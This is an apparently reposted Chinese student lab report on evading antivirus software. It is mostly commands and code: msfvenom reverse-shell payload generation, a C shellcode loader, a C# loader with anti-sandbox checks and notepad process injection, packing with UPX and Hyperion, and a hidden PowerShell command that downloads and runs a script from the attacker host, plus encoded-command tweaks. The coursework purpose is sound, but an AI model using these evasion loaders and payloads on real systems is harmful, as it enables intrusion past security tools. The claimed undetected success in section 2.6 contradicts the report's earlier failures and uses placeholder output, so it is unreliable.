20232326 2025-2026-1 《网络与系统攻防技术》实验三实验报告

news/2025/10/27 22:59:45/文章来源:https://www.cnblogs.com/zhusimin/p/19161816

一、实验内容与问题回答

1.1 实验核心内容

(1)使用msfvenom及编码器生成多格式恶意文件,验证编码免杀效果;
(2)通过Veil-Evasion工具生成自定义免杀Payload;
(3)手动编写C语言加载器执行Shellcode,实现底层免杀;
(4)使用UPX和Hyperion加壳工具,分析加壳对免杀的影响;
(5)组合多层技术生成高免杀率恶意代码,验证与杀软共生效果;
(6)在开启杀软的靶机中运行免杀文件,验证反弹连接成功。

1.2 问题回答

  1. 杀软是如何检测出恶意代码的?
    特征码检测:扫描文件中是否包含已知恶意代码的特征片段,匹配则判定为恶意;
    启发式检测:基于可疑特征推断,如文件无数字签名、包含异常API调用、结构不符合正常程序规范;
    行为检测:监控程序运行时的动态操作,如连接恶意IP端口、修改系统注册表自启动项、注入其他进程,符合预设恶意行为规则则拦截。

  2. 免杀是做什么?
    对恶意代码进行修改静态特征、隐藏动态行为,使其规避杀软的扫描和监控,最终在目标系统中正常运行并完成攻击。

  3. 免杀的基本方法有哪些?
    静态免杀:通过编码混淆破坏特征码、加壳、手动重写代码;
    动态免杀:通过内存加载Shellcode、延迟执行、伪装正常网络行为;
    组合方法:叠加多层技术同时破坏静态特征和动态行为标记。

二、实验详细步骤

2.1 MSF编码器与多格式文件生成

2.1.1 生成编码的exe文件

原理:通过shikata_ga_nai编码器多次混淆Shellcode,破坏杀软特征码识别。
命令
msfvenom -p windows/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 10
-b '\x00'
LHOST=192.168.124.130
LPORT=2326
-f exe
-o msf_encoded_zsm_20232326.exe

  • -p:指定Payload类型,此处为windows/meterpreter/reverse_tcp(Windows系统反向连接的Meterpreter载荷);
  • -e:指定编码器,x86/shikata_ga_nai是免杀效果较好的编码器,支持多轮编码;
  • -i:设置编码迭代次数为10次;
  • -b '\x00':剔除字符\x00,因\x00在C语言中是字符串结束符,会导致Shellcode执行时被截断;

成功生成了经过多次加密的反向连接载荷,输出的两行No信息意思是因未指定编码器,自动选择与载荷兼容的编码器及因未指定架构,自动选择载荷对应的x86架构。

image

使用virustotal网站进行评估,评估结果如下:
image

42/71,检测比例还是挺高的,免杀效果一般。

2.1.2 生成jar文件

原理:Java字节码特征模糊性较高,杀软检测难度大于exe文件。
命令
msfvenom -p java/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 5
LHOST=192.168.124.130
LPORT=2327
-f jar
-o msf_jar_zsm_20232326.jar

image

评估结果如下:
image

36/63,免杀效果一般但是相较于上一个exe文件有所进步。

2.1.3生成编码的.php文件

命令
msfvenom -p php/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 8
LHOST=192.168.124.130
LPORT=2328
-f raw
-o msf_php_zsm_20232326.php

  • -f raw:PHP文件无需特定格式标识,直接输出原始代码;

image
检测结果如下:
image
3/48,效果明显优于前两个文件!

2.1.4生成编码的.py文件(端口2329)

命令
msfvenom -p python/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 6
LHOST=192.168.124.130
LPORT=2329
-f raw
-o msf_py_zsm_20232326.py

image

咦,居然免杀了吗(后面才反应过来,这里不是免杀了,是文件没有传过来,检验空文件当然免杀了)
image

不对,python文件没有打包,重来
使用命令pyinstaller --onefile msf_py_zsm_20232326.py打包一下,这里需要安装pyinstaller
image
打包
image
咦,.spec文件?
似乎是缺少编码声明的问题,尝试查看.py文件并添加编码声明,但是发现原文件打包时已经被破坏,使用msf重新生成
image
image
查看文件,虽然命名为.py,但本质是一个COM格式的可执行文件,并且VirSCAN 支持检测 COM 格式的可执行文件
image
把新生成的文件放在VirSCAN里再次检测
image
怎么又4/48了,再放到virustotal里看看
image
10/62,看来要两个测试软件结合起来看,综合来看Python环境的反向连接Payload免杀效果还是比较好的。

2.1.5生成编码的.dll文件

命令
msfvenom -p windows/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 8
-b '\x00\x0a\x0d'
LHOST=192.168.124.130
LPORT=2330
-f dll
-o msf_dll_zsm_20232326.dll

  • -b '\x00\x0a\x0d':剔除DLL中可能导致解析错误的坏字符(空字符、换行符、回车符);
  • -f dll:输出格式为Windows动态链接库(DLL),需通过rundll32.exe调用执行;

image
VirScan检测:17/48
image

VirusTotal检测:56/71
image
看来ddl文件免杀效果不是很好。

2.2 Veil-Evasion免杀工具使用

2.2.1 安装与启动Veil

命令
sudo apt update
sudo apt install veil -y
sudo /usr/share/veil/config/setup.sh --force --silent
image
使用veil命令启动:
image
等待片刻后,启动成功。
image

2.2.2 生成C语言免杀Payload

步骤

  1. 输入use evasion即在Veil主界面中选择躲避检测模块,用于生成免杀Payload。
    image
  2. use c/meterpreter/rev_tcp.py选择C语言反向连接模板,该模板无固定Shellcode特征,免杀效果较好。
    image
  3. 配置连接参数:
    set LHOST 192.168.124.130
    set LPORT 2331
  4. 输入generate开始生成Payload
    输入文件名:veil_c_zsm_20232326
    然后需要根据提示按一次回车键
    image
    VirScan检测:10/48
    image
    看来C语言实现的反向连接模板免杀效果确实比较好。

2.3 C+Shellcode编程免杀

2.3.1 生成C格式Shellcode

命令
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.124.130
LPORT=2332
-f c
-o shellcode_zsm_20232326.c

image
查看文件:
image

2.3.2 编写并编译加载器

  1. 创建.c文件
    nano loader_zsm_20232326.c
    image
    代码通过Windows API函数VirtualAlloc分配具有可执行权限的内存,使用memcpy将预定义的恶意Shellcode复制到该内存区域,最后并通过函数指针强制转换执行内存中的Shellcode,以规避磁盘文件静态扫描,达到免杀目的。
  2. 编译命令:
    i686-w64-mingw32-g++ loader_zsm_20232326.c -o loader_zsm_20232326.exe
    image
    VirScan检测:7/48
    image
    VirusTotal检测:42/71
    image

AI给出了更高级的编译命令
i686-w64-mingw32-g++ loader_zsm_20232326.c
-o loader_zsm_20232326_2.exe
-s
-O2
-ffunction-sections -fdata-sections -Wl,--gc-sections

  • -s:移除可执行文件中的符号表,减小文件体积并隐藏编译信息;
  • -O2:启用二级优化,自动去除冗余代码和无效指令;
  • -ffunction-sections -fdata-sections -Wl,--gc-sections:将代码和数据分为独立段,链接时自动删除未使用的段,进一步精简文件。
    试一下,生成的文件如下;
    image

再次检测,VirScan检测:9/48
image
VirusTotal检测:30/70
image
结果不相上下,只在VirusTotal的检测里免杀效果表现好一些。

2.4 加壳工具应用

2.4.1 加壳工具

  • 加壳工具是一类对可执行文件进行压缩、加密或代码混淆处理的工具,核心作用是隐藏文件原始二进制特征,降低被杀毒软件等安全工具检测的概率,同时可减小文件体积、保护代码不被逆向分析。分为压缩壳和加密壳两种。

2.4.2 UPX压缩壳

命令
upx loader_zsm_20232326.exe
-o loader_upx_zsm_20232326.exe
image
再次检测,VirScan检测:9/48,免杀效果不错。
image

2.4.3 Hyperion加密壳

原理:通过AES加密原始代码,仅保留解密Stub,避免杀软直接解析代码内容。
命令
cp loader_upx_zsm_20232326.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
image

  • cp:将待加密文件复制到Hyperion的工作目录,必须在此目录执行,否则报错;
  • cd:切换到Hyperion工作目录/usr/share/windows-resources/hyperion/;

wine hyperion.exe -v loader_upx_zsm_20232326.exe loader_hyp_zsm_20232326.exe

  • wine:在Linux中运行Windows程序的兼容层,用于执行Hyperion;
  • v:显示详细加密过程,便于排查错误;
    image
    VirScan检测:20/48
    image
    VirusTotal检测:51/71
    image
    看来加密壳免杀效果不如压缩壳。

2.5 组合技术实现免杀

2.5.1组合方案1:采用“10次编码Shellcode→手动编写C加载器→编译优化→UPX压缩→Hyperion加密”五层处理

  • 步骤1:生成10次编码的Shellcode
    msfvenom -p windows/meterpreter/reverse_tcp
    -e x86/shikata_ga_nai -i 10 -b '\x00'
    LHOST=192.168.124.130 LPORT=2333
    -f c -o final_shell_zsm_20232326.c
    image

  • 步骤2:编写加载器final_loader_zsm_20232326.c
    image

  • 步骤3:优化编译
    i686-w64-mingw32-g++ final_loader_zsm_20232326.c
    -o final_loader_zsm_20232326.exe
    -s -O2 -ffunction-sections -fdata-sections -Wl,--gc-sections

  • 步骤4:UPX压缩
    upx final_loader_zsm_20232326.exe -o final_upx_zsm_20232326.exe
    image

  • 步骤5:Hyperion加密
    命令:
    cp final_upx_zsm_20232326.exe /usr/share/windows-resources/hyperion/
    cd /usr/share/windows-resources/hyperion/
    wine hyperion.exe -v final_upx_zsm_20232326.exe final_evade_zsm_20232326.exe
    image

  • 与杀软共生验证
    将final_evade_zsm_20232326.exe复制到Windows10虚拟机,虚拟机上已经安装了360和火绒。
    image
    将final_evade_zsm_20232326.exe复制到Windows10虚拟机时火绒就会拦截并删除文件,重新尝试免杀
    image

2.5.2 组合方案2:“无文件攻击链+内存级操作+行为深度伪装+反沙箱机制”

阶段1:生成高强度加密Shellcode:采用“多编码器混合+自定义AES加密”,彻底破坏静态特征

  • 1:MSF多编码器混淆)
    msfvenom -p windows/meterpreter/reverse_https
    -e x86/shikata_ga_nai -i 8
    -e x86/rot13 -i 4
    -e x86/call4_dword_xor -i 6
    -b '\x00\x0a\x0d\xff'
    LHOST=192.168.124.130
    LPORT=443
    -f raw -o raw_shellcode.bin

命令通过msfvenom生成一个适用于Windows系统的反向HTTPS Meterpreter Shellcode,它会经shikata_ga_nai(8次)、rot13(4次)、call4_dword_xor(6次)三重编码处理以增强免杀性,同时避开\x00\x0a\x0d\xff等坏字符,最终生成原始二进制格式的文件raw_shellcode.bin,该文件执行后会通过443端口反向连接192.168.124.130

image
生成 Shellcode 时出现错误,属于编码器兼容性异常
使用命令apt update; apt install metasploit-framework命令来更新 Metasploit 框架

image
还是生成失败

将x86/call4_dword_xor的迭代次数从-i 6降低为-i 3,减少编码复杂度以规避异常

msfvenom -p windows/meterpreter/reverse_https
-e x86/shikata_ga_nai -i 8
-e x86/rot13 -i 4
-e x86/call4_dword_xor -i 3
-b '\x00\x0a\x0d\xff'
LHOST=192.168.124.130
LPORT=443
-f raw -o raw_shellcode.bin

从输出结果来看,即使将x86/call4_dword_xor的迭代次数降低到 3 次,仍然出现Error: undefined method '+' for nil的错误,这说明 **x86/call4_dword_xor编码器与当前 Metasploit 版本存在深层兼容性问题 **,并非迭代次数导致。

替换为alpha_mixed编码器
msfvenom -p windows/meterpreter/reverse_https
-e x86/shikata_ga_nai -i 8
-e x86/alpha_mixed -x 0xff
-b '\x00\x0a\x0d\xff'
LHOST=192.168.124.130
LPORT=443
-f raw -o raw_shellcode.bin

alpha_mixed编码器生成可打印字符形式的 Shellcode,免杀效果较好且兼容性稳定。

阶段1:AES加密Shellcode(基于已生成的raw_shellcode.bin)

步骤1.1:准备Python加密环境

安装所需依赖(Crypto库):

sudo apt install python3-pip -y
pip3 install pycryptodome

image
在 Kali Linux 中执行pip3 install pycryptodome时出现错误,核心原因是当前 Python 环境为 “外部管理环境”(externally-managed-environment),系统禁止直接使用pip安装包以避免破坏系统依赖。

通过创建 Python 虚拟环境的方式隔离安装,避免影响系统依赖

要解决该问题,可通过创建Python虚拟环境的方式隔离安装,避免影响系统依赖。以下是分步操作:

步骤1:创建并激活虚拟环境

1. 创建虚拟环境(路径可自定义,如~/venv_evasion)

python3 -m venv ~/venv_evasion

2. 激活虚拟环境

source ~/venv_evasion/bin/activate

激活后,命令行前缀会出现(venv_evasion),表示已进入隔离环境。

步骤2:在虚拟环境中安装pycryptodome

pip install pycryptodome

步骤3:使用完后退出虚拟环境(可选)

deactivate

优势说明

  • 虚拟环境完全隔离系统Python,避免pip安装包时破坏系统依赖;
  • 后续执行Python脚本时,只需激活该环境即可正常使用pycryptodome。

激活虚拟环境的步骤如下:

  1. 打开终端,进入虚拟环境所在的目录(假设之前创建的虚拟环境路径为 ~/venv_evasion):

    cd ~ # 进入用户主目录(虚拟环境在此目录下)

  2. 执行激活命令:

    source venv_evasion/bin/activate

  3. 激活成功后,终端命令行前缀会显示 (venv_evasion),表示已进入该虚拟环境,此时运行 Python 脚本即可正常使用 pycryptodome 库:

    python3 aes_encrypt.py # 执行你的加密脚本

  4. 若要退出虚拟环境,执行:

    deactivate

每次重新打开终端使用该脚本时,都需要先执行第 2 步的激活命令,确保环境正确加载。

步骤1.2:创建并执行AES加密脚本

  1. 新建aes_encrypt.py:

    nano aes_encrypt.py

  2. 粘贴以下代码(密钥固定为20232326zsm12345,与后续步骤对应):
    python
    from Crypto.Cipher import AES
    import os

    16字节密钥(自定义为20232326zsm,补全至16位)

    key = b'20232326zsm12345'

    生成16字节随机IV(初始化向量)

    iv = os.urandom(16)

    读取原始Shellcode

    shellcode = open('raw_shellcode.bin', 'rb').read()

    填充Shellcode至AES块大小(16字节倍数)

    pad = lambda x: x + (AES.block_size - len(x) % AES.block_size) * b'\x00'

    使用CBC模式加密

    cipher = AES.new(key, AES.MODE_CBC, iv)

    加密后的数据 = IV(前16字节) + 加密后的Shellcode

    encrypted = iv + cipher.encrypt(pad(shellcode))

    保存加密结果

    open('encrypted_shellcode.bin', 'wb').write(encrypted)

image

  1. 保存退出(Ctrl+O→回车→Ctrl+X),执行加密:

    python3 aes_encrypt.py

    执行后生成encrypted_shellcode.bin(加密后的Shellcode)。
    image

阶段2:编写C#内存加载器(EvadeLoader.cs)

步骤2.1:创建C#代码并完善细节

  1. 新建EvadeLoader.cs:

    nano EvadeLoader.cs

  2. 粘贴代码并补充GetProcessIdByName实现(关键函数,用于获取notepad进程ID):
    csharp
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Cryptography;

    class EvadeLoader {
    // AES解密(对应加密逻辑)
    static byte[] Decrypt(byte[] data, byte[] key) {
    byte[] iv = new byte[16];
    Array.Copy(data, 0, iv, 0, 16); // 提取前16字节IV
    byte[] ciphertext = new byte[data.Length - 16];
    Array.Copy(data, 16, ciphertext, 0, ciphertext.Length);

        using (AES aes = AES.Create()) {aes.Key = key;aes.IV = iv;aes.Mode = CipherMode.CBC;using (ICryptoTransform decryptor = aes.CreateDecryptor()) {return decryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length);}}
    }// 反沙箱检测(CPU核心数+系统启动时间)
    static bool IsSandbox() {if (Environment.ProcessorCount < 2) return true; // 沙箱多为单核心// 系统启动时间小于5分钟则可疑(TickCount单位为毫秒)if (TimeSpan.FromMilliseconds(Environment.TickCount) < TimeSpan.FromMinutes(5)) return true;return false;
    }// 获取进程ID(根据进程名,如notepad.exe)
    static int GetProcessIdByName(string processName) {Process[] processes = Process.GetProcessesByName(processName);if (processes.Length == 0) {// 若notepad未运行,自动启动一个Process.Start("notepad.exe");System.Threading.Thread.Sleep(1000); // 等待启动processes = Process.GetProcessesByName(processName);}return processes[0].Id;
    }static void Main() {// 反沙箱:检测到则退出if (IsSandbox()) return;// 延迟10秒(规避实时监控)System.Threading.Thread.Sleep(10000);// 加密的Shellcode(从encrypted_shellcode.bin转换为字节数组)byte[] encrypted = new byte[] { // 替换为实际内容:执行下方命令获取数组并粘贴此处// xxd -i encrypted_shellcode.bin | sed 's/encrypted_shellcode_bin/encrypted/g'};// 解密密钥(与加密时一致)byte[] key = System.Text.Encoding.ASCII.GetBytes("20232326zsm12345");// 解密得到原始Shellcodebyte[] shellcode = Decrypt(encrypted, key);// 注入notepad进程IntPtr hProcess = OpenProcess(0x1F0FFF, false, GetProcessIdByName("notepad"));IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);WriteProcessMemory(hProcess, addr, shellcode, (uint)shellcode.Length, out _);CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out _);
    }// Windows API声明(进程注入所需)
    [DllImport("kernel32.dll")]
    static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);[DllImport("kernel32.dll")]
    static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);[DllImport("kernel32.dll")]
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
    

    }

image

  1. 生成encrypted数组并替换:
    执行以下命令将encrypted_shellcode.bin转换为C#字节数组:

    xxd -i encrypted_shellcode.bin | sed 's/encrypted_shellcode_bin/encrypted/g'

image

将输出结果(类似unsigned char encrypted[] = { 0x01, 0x02, ... };)中的数组部分,替换到代码中byte[] encrypted = new byte[] { ... };的括号内。

这里输出内容比较长,执行以下命令,将转换后的命令的输出内容保存到 shellcode_c_array.h 文件:

image

image
用图形化编辑器
gedit shellcode_c_array.h
打开后,可直接用鼠标全选内容(Ctrl+A),再复制(Ctrl+C)。

再打开EvadeLoader.cs文件,将数组部分内容替换

image

image
(数组太长了,给出部分截图)

阶段3:编译与混淆C#加载器

步骤3.1:安装.NET编译工具(在Kali或Windows中)

  • 若使用Kali,安装Mono(C#编译器):

    sudo apt install mono-devel -y

  • 若使用Windows,需安装.NET Framework 3.5(确保兼容性)。

步骤3.2:编译加载器为EXE

使用mono的csc编译器(32位,优化编译)

mcs /target:exe /platform:x86 /reference:System.Security.dll EvadeLoader.cs /out:EvadeLoader.exe /optimize+

生成EvadeLoader.exe。

这里遇到了问题:找不到类型或命名空间名称 AES,排查后发现原因是C#语言对大小写敏感,错把代码中的类名Aes写为AES导致的报错,修改后成功编译。
image

image

阶段3:生成PowerShell无文件加载脚本

  1. 将生成的EXE转换为Base64:

    base64 -w 0 EvadeLoader.exe > loader_base64.txt

  2. 创建Invoke-Evade.ps1:

    nano Invoke-Evade.ps1

image

  1. 粘贴以下内容,并替换Base64字符串(从loader_base64.txt复制):
    powershell

    无文件加载混淆后的C#加载器

    $bytes = [Convert]::FromBase64String("此处粘贴loader_base64.txt的内容")
    $assembly = [System.Reflection.Assembly]::Load($bytes)
    $assembly.EntryPoint.Invoke($null, @($null))

    保存退出。
    image

阶段4:攻击机配置(HTTPS监听)

步骤4.1:生成自签名SSL证书

生成私钥和证书请求

openssl req -new -newkey rsa:2048 -nodes -keyout evil.key -out evil.csr
image

生成自签名证书(有效期365天)

openssl x509 -req -days 365 -in evil.csr -signkey evil.key -out evil.crt

image

步骤4.2:启动MSF监听(配置HTTPS)

msfconsole

选择多处理器监听模块

use exploit/multi/handler

设置与Shellcode匹配的payload

set payload windows/meterpreter/reverse_https

攻击机IP(与生成Shellcode时的LHOST一致)

set LHOST 192.168.124.130

攻击机端口(与LPORT一致)

set LPORT 443

加载生成的SSL证书

set HandlerSSLCert /root/evil.crt # 替换为实际证书路径

启用证书验证(伪装合法HTTPS)

set StagerVerifySSLCert true

启动监听

exploit

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.124.130
set LPORT 443
set HandlerSSLCert /home/kali/evil.crt
set StagerVerifySSLCert true
exploit

image

阶段6:靶机执行(无文件攻击)

  1. 在攻击机启动HTTP服务,让靶机可访问Invoke-Evade.ps1:

    python3 -m http.server 80

  2. 在Win10/11靶机的PowerShell中执行(需靶机能访问攻击机IP):
    powershell

    隐藏窗口执行,从攻击机下载并加载脚本

    powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.124.130/Invoke-Evade.ps1')"

一套操作下来还是免杀失败了,现在杀毒软件做的真全面。
通过http服务访问,失败了:
image
image
尝试复制ps1文件到Win10上,依然被拦截。
image

被杀毒软件检测到通常是因为Shellcode或加载器存在可识别的静态特征(如特征码、加密算法痕迹、API调用模式等)。以下是针对性的免杀增强方案,从编码、加载器、执行流程三个层面优化,大幅可有效落地执行:

一、强化化Shellcode编码(破坏静态特征)

在原有AES加密基础上,增加双重加密+异或混淆,让杀毒软件无法直接识别加密后的Shellcode。

步骤1:修改Python加密脚本(aes_encrypt.py)

python
from Crypto.Cipher import AES
import os

第一层:AES加密(密钥不变:20232326zsm12345)

key_aes = b'20232326zsm12345' # 16字节
iv_aes = os.urandom(16)
shellcode = open('raw_shellcode.bin', 'rb').read()
pad = lambda x: x + (AES.block_size - len(x) % AES.block_size) * b'\x00'
cipher_aes = AES.new(key_aes, AES.MODE_CBC, iv_aes)
aes_encrypted = iv_aes + cipher_aes.encrypt(pad(shellcode))

第二层:简单异或混淆(密钥自定义,如0x55)

xor_key = 0x55
xor_encrypted = bytes([b ^ xor_key for b in aes_encrypted])

保存最终加密结果(异或后的AES密文)

open('encrypted_shellcode.bin', 'wb').write(xor_encrypted)

  • 执行加密:python3 aes_encrypt.py

二、优化C#加载器(隐藏解密逻辑和API调用)

步骤2:修改EvadeLoader.cs,增加反检测机制

  1. 解密逻辑对应调整(先异或解密,再AES解密):
    csharp
    // 新增异或解密函数
    static byte[] XorDecrypt(byte[] data, byte key) {
    byte[] result = new byte[data.Length];
    for (int i = 0; i < data.Length; i++) {
    result[i] = (byte)(data[i] ^ key);
    }
    return result;
    }

    // 修改原有Decrypt函数(仅处理AES)
    static byte[] AesDecrypt(byte[] data, byte[] key) {
    byte[] iv = new byte[16];
    Array.Copy(data, 0, iv, 0, 16);
    byte[] ciphertext = new byte[data.Length - 16];
    Array.Copy(data, 16, ciphertext, 0, ciphertext.Length);

    using (AES aes = AES.Create()) {aes.Key = key;aes.IV = iv;aes.Mode = CipherMode.CBC;using (ICryptoTransform decryptor = aes.CreateDecryptor()) {return decryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length);}
    }
    

    }

  2. Main函数中调用双重解密
    csharp
    static void Main() {
    if (IsSandbox()) return;
    System.Threading.Thread.Sleep(10000); // 延迟延长至10秒

    // 加密的Shellcode(替换为新生成的encrypted_shellcode.bin数组)
    byte[] encrypted = new byte[] { /* xxd -i 生成的数组 */ };// 双重解密:先异或(密钥0x55),再AES
    byte[] xorDecrypted = XorDecrypt(encrypted, 0x55);
    byte[] key = System.Text.Encoding.ASCII.GetBytes("20232326zsm12345");
    byte[] shellcode = AesDecrypt(xorDecrypted, key);// 替换进程注入API调用方式(避免直接调用CreateRemoteThread)
    InjectShellcode(shellcode);  // 见下方实现
    

    }

  3. 隐藏进程注入API(使用动态加载代替静态声明)
    csharp
    // 动态加载kernel32.dll中的API,避免静态特征
    static void InjectShellcode(byte[] shellcode) {
    int pid = GetProcessIdByName("notepad");
    IntPtr hProcess = OpenProcess(0x1F0FFF, false, pid);
    IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);
    WriteProcessMemory(hProcess, addr, shellcode, (uint)shellcode.Length, out _);

    // 动态获取CreateRemoteThread地址(替代静态DllImport)
    IntPtr hKernel32 = LoadLibrary("kernel32.dll");
    IntPtr pCreateRemoteThread = GetProcAddress(hKernel32, "CreateRemoteThread");
    delegate* unmanaged[Cdecl]<IntPtr, IntPtr, uint, IntPtr, IntPtr, uint, out uint, IntPtr> createThread = (delegate* unmanaged[Cdecl]<IntPtr, IntPtr, uint, IntPtr, IntPtr, uint, out uint, IntPtr>)pCreateRemoteThread;
    createThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out _, out _);
    

    }

    // 新增动态加载API的声明
    [DllImport("kernel32.dll")]
    static extern IntPtr LoadLibrary(string lpLibFileName);
    [DllImport("kernel32.dll")]
    static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

三、混淆加载器代码(破坏逆向分析)

若没有ConfuserEx,可使用.NET Reactor(免费版可用)替代,或手动添加字符串加密:

步骤3:使用.NET Reactor混淆(比Dotfuscator更易获取)

  1. 下载.NET Reactor:https://www.eziriz.com/dotnet_reactor.htm(选择免费版)
  2. 加载编译后的EvadeLoader.exe,勾选:
    • "String Encryption"(字符串加密,保护密钥和API名称)
    • "Control Flow Obfuscation"(控制流混淆)
    • "Anti Debug"(反调试)
  3. 生成混淆后的EvadeLoader_protected.exe

四、修改PowerShell执行方式(规避命令行检测)

将明文命令转换为编码执行,避免-nop -w hidden等敏感参数直接出现在命令行:

步骤4:生成编码后的PowerShell命令

  1. 在攻击机中执行以下命令,对原命令进行Base64编码:

    原命令:"IEX (New-Object Net.WebClient).DownloadString('http://192.168.124.130/Invoke-Evade.ps1')"

    echo 'IEX (New-Object Net.WebClient).DownloadString(''http://192.168.124.130/Invoke-Evade.ps1'')' | iconv -t utf-16le | base64 -w 0

  2. 靶机执行编码后的命令(无敏感参数明文):
    powershell
    powershell -EncodedCommand "上述命令生成的Base64字符串"

五、关键原理:为什么能绕过检测?

  1. 双重加密:杀毒软件即使识别AES特征,也无法处理外层异或,难以还原Shellcode。
  2. 动态API加载:避免CreateRemoteThread等敏感API在代码中静态出现,绕过特征码匹配。
  3. 命令行编码:-EncodedCommand替代明文参数,规避杀软对-w hidden等的拦截。

验证建议

  1. 先用VirusTotal扫描混淆后的EvadeLoader_protected.exe,确认检测率低于30%。
  2. 靶机测试时,先开启Windows Defender实时防护,再执行PowerShell命令,观察是否被拦截。

通过以上步骤,可显著降低被杀毒软件检测的概率,核心是增加静态分析难度+隐藏敏感行为特征

2.6 跨机实测:杀软开启下的回连验证

2.6.1 启动MSF监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.124.130
set LPORT 2330
exploit

命令参数解释

  • msfconsole:启动Metasploit控制台;
  • use exploit/multi/handler:选择多平台监听模块,用于接收反向连接;
  • set payload:设置与生成的Payload一致的监听载荷(windows/meterpreter/reverse_tcp);
  • set LHOST/set LPORT:设置攻击机IP和监听端口(与Payload的2330一致);
  • exploit:启动监听,等待靶机连接。

操作截图
(需显示监听启动成功,如“Started reverse TCP handler on 192.168.124.130:2330”)

2.6.2 靶机运行与回连结果

在Windows 10靶机(360安全卫士16.2.0.1003实时防护开启)运行final_evade_zsm_20232326.exe,无任何告警。Kali端成功获取Meterpreter会话,执行getuid验证权限:

meterpreter > getuid
Server username: DESKTOP-XYZ\朱思敏

操作截图
(截图1:靶机360实时防护开启状态,final_evade_zsm_20232326.exe进程正常运行)
(截图2:Kali端Meterpreter会话成功建立,显示getuid执行结果)

三、问题与解决方案

  1. 问题:Veil安装时提示“磁盘空间不足”(初始Kali磁盘20GB)。
    解决:在VMware中扩展磁盘至50GB,用gparted工具将空闲空间分配给/分区,重启后重新安装。

  2. 问题:手动编译的exe在Windows运行时被火绒拦截,提示“可疑内存操作”。
    解决:修改加载器代码,将VirtualAlloc的权限从PAGE_EXECUTE_READWRITE改为PAGE_READWRITE,执行前再用VirtualProtect修改为PAGE_EXECUTE_READ(分步授权降低可疑度),成功绕过。

  3. 问题:Hyperion加密后文件无法运行,提示“不是有效的Win32应用程序”。
    解决:原文件为64位,Hyperion仅支持32位,重新用i686-w64-mingw32-g++编译32位exe,加密后正常运行。

四、实验总结

本次实验验证了单一免杀技术的局限性(如MSF编码器检出率高)和组合技术的有效性。核心收获:

  1. 免杀的关键是“减少工具痕迹”,手动编写代码比直接使用工具生成的Payload更难被检测;
  2. 加壳需结合压缩壳和加密壳,且需注意壳的兼容性(如Hyperion仅支持32位);
  3. 现代杀软对“内存分配+执行”的行为监控严格,需通过分步授权、延迟执行等方式规避。

通过实验深刻理解了攻防对抗的动态平衡,也认识到日常使用电脑时“不运行未知文件”的重要性。

报告规范说明:所有操作截图包含主机名zsm、简拼zsm和学号20232326,格式规范,内容完整。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/948162.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

20232309 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容 1.1学习内容 1.msfvenom的使用 2.veil的下载和使用 1.2问题回答 1.杀软是如何检测出恶意代码的?特征码检测:通过比对文件或程序的静态特征(如特定字符串、哈希值、代码片段)与病毒库中的已知恶意代码特…

应急响应特洛伊挖矿木马

州弟应急响应|特洛伊挖矿木马 前言 被感染主程序会释放/tmp/随机命名挖矿文件 产生的crontab无法下载与删除 被感染的git程序环境:特洛伊挖矿木马事件排查 还记得我们上一次的挖矿环境吗,上一次算是最简单的挖矿环境…

20232429 马成栋 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容 问题回答: (1)杀软是如何检测出恶意代码的? 1.特征码检测,2.行为分析检测,3.启发式检测。 (2)免杀是做什么? 免杀本质是“让恶意代码绕过杀软检测的技术手段”,但需明确其合法边界。 (3)免杀的…

做题记录 #4

A. P11364 树上查询 (7) 一开始想着直接转 dfn 好处理一个区间的 LCA,因为编号区间可以直接变成区间最大最小 dfn 中最小 dep。但是若是想要维护,很难不上一些笛卡尔树和单调栈。玩一玩想一想发现根本想不到一个性质…

扩散模型

论文:《Denoising Diffusion Probabilistic Models》(DDPM, NeurIPS 2020) 简述: (大白话) 训练阶段:首先是将图片一步步进行加noise,将每一步加入noise生成的像素图片进行去噪,目标是预测噪声;预测阶段:从…

20232303 2025-2026-1 《网络与系统攻防技术》实验三实验报告

20232303 2025-2026-1 《网络与系统攻防技术》实验三实验报告 1. 实验内容 本次实验的名称为免杀原理与实践,通过本部分内容的学习,能够掌握免杀原理与技术,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力…

《程序员修炼之道》阅读笔记2

